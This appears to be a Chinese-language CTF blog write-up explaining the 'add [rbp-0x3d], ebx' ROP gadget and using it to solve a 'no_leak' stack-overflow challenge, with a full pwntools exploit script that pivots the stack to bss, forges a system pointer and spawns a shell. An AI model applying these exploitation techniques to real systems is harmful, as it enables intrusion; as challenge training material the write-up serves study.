PWN January 03, 2020

神奇的gadget

Words count 14k Reading time 12 mins. Read count 0

一、神奇的gadget:

这个gadget一般存在于__do_global_dtors_aux中,可能是出题人自己写的gadget吧~适用于no leak类型的题目。

57114678073

57114693874

1
add [rbp-3Dh],ebx           //当rbp和ebx可控时,我们可以修改rbp-0x3d地址里面内容,一般用于计算真实地址之间的偏移,从而获取想要的真实地址

拿一道题看看吧:

no_leak

先看看保护机制:

57114660528

got表不可改,NX保护,庆幸的是没有canary保护和pie,比较友好,先看看ida:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-80h]

alarm(0x3Cu);
read(0, &buf, 0x100uLL);
return 0;
}

程序很简单,就一个read的栈溢出,但是没有打印函数,这题我的第一反应是dl_runtime_resolve,先栈迁移到bss上,再进行一系列处理,但是,调用plt+6处的dl_runtime函数时,发现这个函数不见了,所以这题我没能用dl_runtime_resolve的方法做出来,本想放弃然后去复现DelCTF,看到了一个神奇的gadget,说是适用于no leak的情况,所以这题就试试吧:

大概思路如下:

1、栈迁移到bss上

2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布

3、找一个能用的真实地址,利用神奇的gadget,把它伪造成onegadget,再次回跳到main函数

4、栈溢出ret到onegadget即可getshell

直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF("./no_leak")
if local:
p = process('./no_leak')
libc = elf.libc
else:
p = remote('nc.eonew.cn',10002)
libc = ELF('./libc-2.27.so')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

read_got = elf.got["read"]
read_plt = elf.symbols["read"]
main_got = elf.got["__libc_start_main"]
finit = 0x0000000004005E0
init = 0x000000000400570
main = 0x000000000400450
leave_ret = 0x0000000000400564
pop_rbx_rbp_ret = 0x0000000004005CA
add_rbp_rbx_ret = 0x000000000400518
pop_rdi_ret = 0x00000000004005d3
pop_rsi_r15_ret = 0x00000000004005d1
bss_addr = elf.bss() + 0x500
bss = elf.bss()

def middle_overflow(offset,function_got,rdi,rsi,rdx):
py = ''
py += offset
py += p64(0x4005C6)
py += p64(0)
py += p64(0)
py += p64(1)
py += p64(function_got)
py += p64(rdi)
py += p64(rsi)
py += p64(rdx)
py += p64(0x4005B0)
py += p64(0)
py += p64(0x2d8a9)
py += p64(0x613dc8+0x3d)
py += p64(0)
py += p64(0)
py += p64(0)
py += p64(0)
py += p64(add_rbp_rbx_ret)
py = py.ljust(0x100,'c')
sd(py)
# bk(0x00000000040055F)
py = ''
py += 'a'*0x80
py += p64(bss_addr)
py += p64(pop_rdi_ret)
py += p64(0)
py += p64(pop_rsi_r15_ret)
py += p64(bss_addr)
py += p64(0)
py += p64(read_plt)
py += p64(leave_ret)
py = py.ljust(0x100,'a')
sd(py)

middle_overflow('bbbbbbbb',main_got,main,finit,init)

py = ''
py += 'b'*0x80
py += p64(0)
py += p64(pop_rbx_rbp_ret)
py += p64(0xFFFFFFFFFFC5EE18)
py += p64(0x601495)
py += p64(0)
py += p64(0)
py += p64(0)
py += p64(0)
py += p64(add_rbp_rbx_ret)
py += p64(main)
py = py.ljust(0x100,'a')
sd(py)

binsh = 0x6012b0
system = 0x601458
middle_overflow('/bin/sh\x00'+'b'*0x80,system,binsh,finit,init)

p.interactive()

下面就是debug调试的信息:

首先栈迁移往0x601510处读入我们调用libc_start_main的payload

57120634285

可以看下情况:

57120678105

继续运行:

57120643202

第一个参数是main的地址,可以看到利用中级栈溢出的方式,成功实现了调用libc_start_main,再次read,当我们进去看时,就会发现除了我们的再次输入外,在bss上留下还有一些libc的地址:

57120695238

这里选择0x601458作为我们的牺牲品,通过神奇的gadget,add它和system的偏移,就可以把它改成system,同时它的bss地址可以看成是system的伪got表地址。

57120714190

改成功了,接着再次回到main函数,直接写binsh到首部,然后中级栈溢出调用system就可以getshell了:

57120725115

57120733645

以上就是对于神奇的gadget的一次使用,这样做法应该是出题人自己想好的,一般的程序估计没有这个gadget,所以也是一种积累吧。

0%